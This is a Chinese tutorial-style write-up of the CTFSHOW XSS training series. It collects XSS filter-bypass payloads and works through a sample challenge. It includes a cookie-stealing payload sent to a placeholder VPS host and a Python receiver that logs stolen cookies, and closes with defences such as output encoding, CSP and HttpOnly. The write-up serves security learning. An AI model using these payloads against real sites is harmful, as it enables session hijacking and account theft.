CTFSHOW XSS入门实战:从基础到绕过的系统性攻防训练

📅 2026/7/7 11:58:03 👁️ 阅读次数 📝 编程学习
CTFSHOW XSS入门实战:从基础到绕过的系统性攻防训练

1. 项目概述:从靶场实战中系统性掌握XSS攻防

如果你正在学习Web安全,尤其是跨站脚本攻击,那么CTFSHOW平台上的XSS入门系列(web316-web326)绝对是一个不可多得的实战宝库。这个系列不像一些理论课程那样只讲概念,而是通过一连串精心设计的关卡,让你亲手去构造Payload、绕过过滤、最终拿到Flag。我花了几天时间从头到尾打通了一遍,感觉就像完成了一次系统的XSS特训,从最基础的反射型XSS,到需要动点脑筋的DOM型XSS,再到对抗各种过滤规则的存储型XSS,层层递进,非常过瘾。这个过程不仅仅是“解题”,更是理解XSS漏洞本质、攻击者思维和防御者策略的绝佳途径。无论你是刚接触安全的新手,还是想巩固XSS知识点的从业者,这个系列都能让你获得实实在在的提升。接下来,我就结合自己的实战经历,把这十一关的核心思路、踩过的坑以及收获的技巧,掰开揉碎了分享给你。

2. 核心思路与关卡设计解析

CTFSHOW的XSS入门系列之所以有效,在于它模拟了一个逐步收紧的安全环境。出题人没有一上来就扔给你一个毫无防护的靶子,而是从最简单的情况开始,逐步引入常见的过滤和防护机制,迫使你去思考如何绕过。这种设计思路非常贴近真实世界的攻防演练。

2.1 关卡演进逻辑:从“无防护”到“多重过滤”

整个系列可以大致分为三个阶段。第一阶段(web316-web318)通常是热身,漏洞点比较明显,可能只是简单验证你是否理解最基本的XSS Payload构造,比如通过<script>alert(1)</script>弹窗。第二阶段(web319-web323)开始引入过滤,比如过滤了scripton事件、hrefjavascript:协议等。这时就需要你尝试使用替代标签(如<img><svg>)、替代事件(如onloadonerror)、或者利用HTML实体编码、大小写混淆等手段。第三阶段(web324-web326)的防护可能更加综合或怪异,可能需要结合前面积累的技巧,甚至需要一些灵光一现的构造,或者考察对DOM XSS中location.hasheval等源的理解。

这种递进式的设计,迫使你不能只会一招鲜。你必须建立一个“武器库”,知道当<script>标签被禁时,还有<img><iframe><svg><details>等标签可以利用;当onclick被过滤时,还有onmouseoveronloadonerror等事件可以尝试;当属性值被严格检查时,可能需要利用HTML解析的怪异特性,比如在属性中插入换行符、利用未闭合的引号等。

2.2 解题核心:理解上下文与构造Payload

解决任何XSS题的第一步,永远是分析输入点的上下文。你的输入最终被嵌入到了HTML的哪个位置?是被放在标签内(如<div>你的输入</div>),还是标签的属性值里(如<input value=“你的输入”>),又或者是JavaScript的字符串中(如var a = ‘你的输入’;)?上下文决定了你Payload的构造方式。

  1. HTML文本上下文:这是最简单的,直接插入包含JavaScript的标签即可,如<script>alert(1)</script>
  2. HTML属性上下文:你需要先闭合当前的属性值和标签,然后插入新标签。例如,如果输入点在<input value=“INPUT”>INPUT处,你可以构造“><script>alert(1)</script>,先闭合value属性的引号,再闭合<input>标签,然后插入新的<script>标签。
  3. JavaScript字符串上下文:你需要先闭合字符串,然后注入代码。例如,var a = ‘INPUT’;,你可以构造’;alert(1);//。单引号闭合字符串,分号结束原语句,//注释掉后面的单引号。

在CTFSHOW的题目中,你需要反复运用这个分析过程。很多时候,题目会通过服务端或客户端的过滤函数,对你的输入进行“消毒”。这时,你就要像玩拼图一样,尝试各种变形和组合,找到一个能逃过过滤、又能被浏览器正确解析执行的Payload。

3. 关键Payload构造技巧与绕过方法实录

下面我结合一些典型的关卡场景,分享几个非常实用的Payload构造技巧和绕过思路。这些技巧不仅适用于CTF,对理解实际渗透测试中的XSS绕过也大有裨益。

3.1 标签与事件的替代艺术

<script>标签和onclick这类常见事件被过滤时,不要慌张,我们有很多“备胎”。

利用<img>标签的onerror事件:这是最经典的绕过之一。<img>标签在加载一个不存在的图片时,会触发onerror事件。

<img src=x onerror=alert(1)>

即使src为空或无效,onerror依然会执行。很多简单的过滤可能只盯着<script>onclick,却忽略了onerror

利用<svg>标签:SVG本质是XML,但它内嵌在HTML中时,其中的<script>标签有时能绕过一些针对HTML<script>的过滤(取决于过滤逻辑)。更常见的是利用SVG的事件处理器。

<svg onload=alert(1)>

<svg>onload事件也是一个很好的切入点。

利用<details>标签的ontoggle事件:这是一个比较冷门但有效的标签。当用户点击<details>展开或收起内容时,会触发ontoggle事件。

<details ontoggle=alert(1) open>

open属性使其默认展开,从而自动触发事件。在一些过滤了imgsvg的场合可以尝试。

利用<iframe>onload事件:原理类似。

<iframe onload=alert(1)></iframe>

实操心得:在尝试Payload时,浏览器的开发者工具(F12)是你的最佳伙伴。在“元素”(Elements)标签页下,你可以清晰地看到你输入的Payload被服务器处理后,最终渲染成的HTML是什么样子。这能帮你快速判断过滤规则,比如是删除了某些关键词,还是替换成了空字符串,或者是进行了HTML实体编码。

3.2 编码与混淆:绕过关键词过滤

如果过滤函数是简单的字符串匹配和删除,那么编码和混淆就能派上用场。

HTML实体编码:浏览器在解析HTML文本和属性值时,会先将HTML实体解码。例如,&lt;会被解码为<&gt;被解码为>。如果过滤发生在服务器端,但解码发生在客户端浏览器,就可能存在绕过机会。不过,这通常需要输入点处于某种会被浏览器自动解码的上下文中,比如在<textarea>标签内,或者某些JavaScript的innerHTML赋值场景。直接在最外层的HTML文本或属性值里使用实体编码,通常不会被执行为脚本。

JavaScript Unicode编码:在JavaScript字符串或事件处理器的代码中,可以使用Unicode转义序列。

<img src=x onerror=alert(1)>

可以写成:

<img src=x onerror=\u0061\u006c\u0065\u0072\u0074(1)>

这里\u0061就是字母a的Unicode编码。如果过滤函数只匹配alert这个明文单词,这种编码形式就可能绕过。

大小写混淆/双写绕过:如果过滤是简单的、不区分大小写的字符串替换,有时大小写混用就能绕过,如<ScRiPt>alert(1)</sCrIpT>。如果是简单的“删除一次”的逻辑,双写可能有效,如<scrscriptipt>alert(1)</scrscriptipt>,过滤掉中间的script后,剩下的字符又组合成了一个新的script

3.3 利用协议与伪协议

javascript:伪协议:常用于<a>标签的href属性,或者<iframe><img>等标签的src属性(部分浏览器早期支持,现代浏览器大多已在<img>src中禁用)。

<a href=javascript:alert(1)>点击我</a> <iframe src=javascript:alert(1)></iframe>

如果题目过滤了javascript:这个字符串,可以尝试用JavaSCript:(大小写)、jav&#x61;script:(HTML实体编码)等方式绕过。

data:协议:这是一个非常强大的协议,可以用来在URL中直接嵌入HTML或JavaScript代码。

<object data=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></object>

上面的Base64编码解码后就是<script>alert(1)</script><iframe><embed>等标签也支持data:协议。当其他外部资源加载被限制时,data:协议可以自包含地提供攻击载荷。

4. 典型关卡实战流程与问题排查

由于无法获取每一关的实时题目细节,我将以一个假设的、综合性的题目为例,展示完整的解题思路和操作流程。这个流程具有通用性,你可以套用到实际解题中。

假设我们遇到一个题目:页面有一个搜索框,搜索后的结果会显示“您搜索的关键词是:XXX”。我们尝试输入<script>alert(1)</script>,发现没有弹窗,且查看网页源码发现<script>标签被删除了。这就是典型的服务端过滤。

4.1 第一步:信息收集与试探

  1. 基础测试:首先输入一些特殊字符,观察其输出情况。例如输入“ ‘ < >,查看它们是被原样输出、转义了(变成&quot;&#x27;&lt;&gt;)还是被删除了。这能帮你判断过滤或转义的强度。
  2. 查看响应:使用浏览器开发者工具的网络(Network)标签,查看提交搜索请求后的原始HTTP响应。有时过滤发生在客户端JavaScript,响应里可能包含原始Payload,但被前端脚本过滤了。直接看响应最准确。
  3. 确定上下文:在“元素”标签页里,找到你的输入被放置的位置。假设它被放在了一个<div>标签里,像是<div>您搜索的关键词是:INPUT</div>。这就是HTML文本上下文。

4.2 第二步:尝试绕过过滤

已知<script>被过滤,我们尝试替代标签。

  1. 尝试Payload:<img src=1 onerror=alert(1)>
  2. 查看响应,发现整个Payload被原封不动地输出到了<div>里。但没弹窗。检查元素,发现代码确实存在。为什么没执行?
  3. 一个可能的原因是:alert(1)也被过滤了?我们尝试简化,用<img src=1 onerror=prompt(1)>试试。如果prompt可以,说明alert被关键词过滤。我们可以用反引号调用函数,如<img src=1 onerror=window[‘al’+’ert’](1)>,或者用top[‘al’+’ert’](1)
  4. 另一个可能:页面有Content Security Policy (CSP) 限制。检查HTTP响应头,看是否有Content-Security-Policy字段。CSP可能会禁止内联脚本执行(‘unsafe-inline’),那样所有基于onerroronclick等事件的内联脚本都会失效。这时就需要寻找其他出路,比如利用允许加载的域下的外部脚本,或者寻找可以触发跳转的漏洞(CSP可能允许‘self’)。

4.3 第三步:利用成功与获取Flag

假设我们通过<img src=1 onerror=top[‘al’+’ert’](1)>成功弹窗,证明可以执行任意JavaScript。在CTF中,最终目标通常是窃取管理员的Cookie(即Flag)。题目往往会提供一个“管理员后台”或“报告漏洞”的功能,让管理员查看我们构造的页面。

  1. 构造窃取Cookie的Payload:我们需要将管理员的Cookie发送到我们可控的服务器上。

    <img src=x onerror=“document.location=‘http://your-vps-ip-or-domain/receive?cookie=’+document.cookie”>

    这里your-vps-ip-or-domain需要替换成你拥有的一台公网服务器的地址,并在该服务器上启动一个HTTP服务来接收参数。

  2. 搭建接收服务器:最简单的方法是使用Python快速启动一个HTTP服务器。

    # 在VPS上执行 python3 -m http.server 8000

    这样会监听8000端口。但这样只能看到访问日志,看不到GET请求的参数。更好的是写一个简单的脚本来记录:

    # save_cookie.py from http.server import HTTPServer, BaseHTTPRequestHandler from urllib.parse import urlparse, parse_qs import time class Handler(BaseHTTPRequestHandler): def do_GET(self): query = urlparse(self.path).query params = parse_qs(query) if ‘cookie’ in params: with open(‘stolen_cookies.txt’, ‘a’) as f: f.write(f“{time.ctime()} - {params[‘cookie’][0]}\n”) self.send_response(200) self.end_headers() self.wfile.write(b‘OK’) def log_message(self, format, *args): pass # 禁用默认日志 server = HTTPServer((‘0.0.0.0’, 8000), Handler) server.serve_forever()

    运行python3 save_cookie.py,服务器会安静地将接收到的cookie记录到文件中。

  3. 提交Payload:将构造好的包含你VPS地址的Payload作为搜索关键词提交,然后利用题目提供的“报告给管理员”功能提交这个搜索结果的链接。

  4. 等待与获取:稍等片刻,刷新你的VPS服务器上的stolen_cookies.txt文件,你应该能看到管理员的Cookie,其中就包含了Flag。

4.4 常见问题排查表

问题现象可能原因排查步骤与解决方案
Payload已插入但未执行1. 关键词被过滤(如alert
2. 存在CSP限制
3. Payload语法错误或上下文不对
1. 查看网页源码,确认Payload是否完整存在。尝试使用prompt(1)console.log(1)测试。
2. 检查HTTP响应头的Content-Security-Policy
3. 使用开发者工具控制台检查JavaScript错误。确认Payload是否在正确的上下文中(如属性值是否缺少引号闭合)。
报告后长时间收不到Cookie1. 管理员未访问
2. 你的接收服务器网络不通
3. Payload触发失败
1. 有些题目管理员访问有延迟或需要手动触发。
2. 检查VPS防火墙是否开放了对应端口(如8000)。用curl http://localhost:8000本地测试,再用另一台机器测试公网IP是否可达。
3. 确保Payload中的URL编码正确,没有拼写错误。可以在自己浏览器先测试Payload是否能成功跳转。
输入被转义成实体编码服务端对特殊字符进行了HTML实体编码尝试寻找未经过滤或编码的输入点,比如可能存在于JavaScript代码中的输入(DOM XSS)。或者尝试利用前端解析过程中的编码解码顺序差异,但这通常更难。
只能输入有限长度输入框有maxlength限制前端限制可以绕过。F12打开开发者工具,找到输入框的DOM元素,直接修改或删除其maxlength属性,然后输入长Payload。

5. 从解题到理解:XSS的防御视角

通过这一系列的实战,我们站在攻击者的角度把XSS玩了个遍。但真正掌握一个漏洞,还需要从防御者的角度去思考。CTFSHOW题目里的各种过滤,其实就是现实中各种防御措施的简化版。

  1. 输入验证与过滤:这是题目中最常见的手段。但正如我们所见,黑名单过滤(禁止某些关键词)很容易被绕过。更可靠的是白名单过滤,只允许已知安全的字符集。对于富文本等复杂场景,需要使用专业的库(如DOMPurify)进行净化。
  2. 输出编码:这是根本的解决方案。根据数据输出的上下文,进行相应的编码。
    • 输出到HTML文本上下文:使用HTML实体编码,将<>&等字符转义。
    • 输出到HTML属性上下文:除了上述字符,空格和引号也需要根据情况处理。最好总是用引号包裹属性值,并对属性值中的引号进行编码。
    • 输出到JavaScript上下文:需要进行JavaScript字符串编码,通常使用\xHH\uHHHH形式的Unicode转义。
    • 输出到URL上下文:进行URL百分比编码。 很多现代Web框架的模板引擎会自动进行输出编码,但开发者需要清楚其默认行为,避免错误地使用了“不转义”的选项。
  3. 内容安全策略:CSP是一个强大的后置防线。通过HTTP头告诉浏览器只允许加载指定来源的脚本、样式、图片等资源,可以极大程度上遏制XSS攻击,即使恶意脚本被注入,也无法执行。在解题中,如果遇到CSP,我们的攻击思路就要从“执行脚本”转变为“寻找CSP策略中的弱点”,比如是否允许加载来自某个域的脚本,是否可以触发跳转到外链等。
  4. 使用HttpOnly Cookie:对于窃取Cookie类的XSS,将敏感Cookie标记为HttpOnly,可以阻止JavaScript通过document.cookie访问它,这是保护用户会话的有效方法。在CTF题中,Flag往往就在Cookie里,所以这招不适用,但现实中至关重要。

打通CTFSHOW的XSS入门系列,就像是完成了一次密集的攻防训练。你不仅记住了一堆Payload,更重要的是培养了那种“看到输入框就想测试,看到过滤就思考绕过”的安全思维。这种思维模式,才是你在实际安全工作中最宝贵的财富。建议你在解题之后,不妨试着用学到的绕过技巧,去挑战一些在线的XSS靶场,或者用Burp Suite等工具对自己搭建的测试环境进行扫描和测试,把攻击者的经验转化为防御者的能力。